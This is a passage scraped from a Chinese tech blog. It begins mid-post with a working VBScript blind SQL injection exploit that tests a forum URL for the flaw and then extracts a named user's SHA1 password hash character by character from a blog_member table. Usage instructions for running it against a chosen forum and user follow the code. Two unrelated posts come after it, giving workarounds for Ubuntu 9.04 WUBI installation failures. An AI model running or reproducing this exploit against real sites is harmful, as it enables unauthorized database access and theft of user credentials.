If IsSuccess(strHoleUrl & "or ""1""=""1") And Not IsSuccess(strHoleUrl & "and ""1""=""2") Then
        WScript.Echo "恭喜!存在漏洞"
Else
        WScript.Echo "没有检测到漏洞"
        WScript.Quit
End If

For n=1 To 40
        For i=1 To 17
                strInject = strHoleUrl & " or 0<(Select Count(*) From blog_member Where mem_name='" & attackUser & "' And mem_password>='" & strResult & Mid(SHA1Charset, i, 1) & "') And ""1""=""1"
                If Not IsSuccess(strInject) Then
                        strResult = strResult & Mid(SHA1Charset, i-1, 1)
                        Exit For
                End If
                strPrint = chr(13) & "Password(SHA1): " & strResult & Mid(SHA1Charset, i, 1)
                WScript.StdOut.Write strPrint
        Next
Next
WScript.Echo Chr(13) & Chr (10) & "Done!"

Function PostData(PostUrl)
    Dim Http
    Set Http = CreateObject("msxml2.serverXMLHTTP")
    With Http
        .Open "GET",PostUrl,False
        .Send ()
        PostData = .ResponseBody
    End With
    Set Http = Nothing
    PostData =bytes2BSTR(PostData)
End Function

Function bytes2BSTR(vIn)
    Dim strReturn
    Dim I, ThisCharCode, NextCharCode
    strReturn = ""
    For I = 1 To LenB(vIn)
        ThisCharCode = AscB(MidB(vIn, I, 1))
        If ThisCharCode < &H80 Then
     &#160
;      strReturn = strReturn & Chr(ThisCharCode)
        Else
            NextCharCode = AscB(MidB(vIn, I + 1, 1))
            strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
            I = I + 1
        End If
    Next
    bytes2BSTR = strReturn
End Function

Function IsSuccess(PostUrl)

strData = PostData(PostUrl)
'Wscript.Echo strData
if InStr(strData,"check_error") >0 then
        IsSuccess = True
Else
        IsSuccess = False
End If
'Wscript.Sleep 500 '让系统休息一下
End Function

      VBS脚本利用方法:
      Cscript.exe Exp.vbs 要检测的论坛网址 要检测的用户名

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/240

Ubuntu9.04 WUBI无法正常安装又一解决办法

      我的上一篇文章Ubuntu 9.04 运行wubi无效的临时解决办法给了一个解决办法,刚刚到cnbeta上去转了转发现还有一个办法可以解决的,特此贴出来:
      失败原因:盘符名中含有中文。
      解决方法:将中文改为英文就可以了。如,原先为"系统盘(C:)",改为"system(C:)"。其他也是类似的改法。注意,所有的盘符都不可以含有中文!

      可能是做wubi的程序员考虑欠周全所致,希望以后的版本不会再这样。

      如果你已经双击了wubi,应先清除临时文件,路径为C:\Documents and Settings\Administrator\Local Settings\Temp(假设你的系统盘是C盘,并且是Administrator)。清除后,为了保险起见,重启后再运行wubi。

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/pc-tech/241

Ubuntu 9.04 运行wubi无效的临时解决办法

      题记:UB终于放出9.0.4正式版了,但本人这一次没有升级,因为用的时间太少。今天在一个ubuntu群里看到不少人说它的WUBI安装有问题,刚好看到一篇解决的文章,就呈现给大家了。
      文章来源:http://blog.cnsovi.com/

      连夜将Ubuntu9.04下载完毕,第二天安装时意外发现9.04自带的wubi运行后居然没有反应,便在网上搜集一些资料大致明白了问题出在哪里,现在将解决办法公布如下:
      首先需要一个8.10的wubi安装文件wubi.exe和9.04的ISO文件.
      安装虚拟光驱.(我用的是WinMount,很多人反映会有蓝屏现象,当然我也出现过一两次,但是大多情况下,并没有蓝屏.) 现在以WinMount3为例,打开WinMount3,点击"Mount文件",选中Ubuntu9.04的iso文件,之后可以不管这些,等会弹出的Ubuntu9.04安装盘窗口可以直接关闭.
      XP用户打开X:\Documents and Settings\Z\Local Settings\Temp,Vista用户类似,在 X:\用户\Z\Local Settings\Temp 目录下,X代表系统盘符,Z代表当前登陆用户的用户名.
      然后清空里面的文件,清空后不要关闭.
      在任意目录下打开8.10的wubi.exe(不需要打开umenu.exe).
      返回刚才打开的窗口,会发现出现两个文件夹,打开这两个文件夹后其中有一个文件夹里有个名字叫data的文件,继续打开,里面会有个isolist.ini 的文件,双击打开这个文件修改version=8.10为version=9.04,根据自己安装的版本进行修改,例如安装i386版本的,只需要修改 [Ubuntu-i386]下的这个字段,安装AMD64位的,就修改[Ubuntu-amd64]下字段即可,修改完毕后保存,返回wubi安装界面.
      选择安装的盘符、体积、用户名、密码点安装后,稍等片刻.
      等安装完毕后不要急着重启进入Ubuntu,因为可能会出错,此时进入Ubuntu安装目录,把Ubuntu\install下的所有文件夹复制到Ubuntu\disks下,会提示已有相同文件夹,覆盖掉然后重启即可.
      到这里在windows下安装Ubuntu9.04的工作已经接近尾声,开机选择Ubuntu后就可以顺利安装了.

      0point注:从这里看应该是它的WUBI程序出了问题,采用了替换的方法。

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/pc-tech/242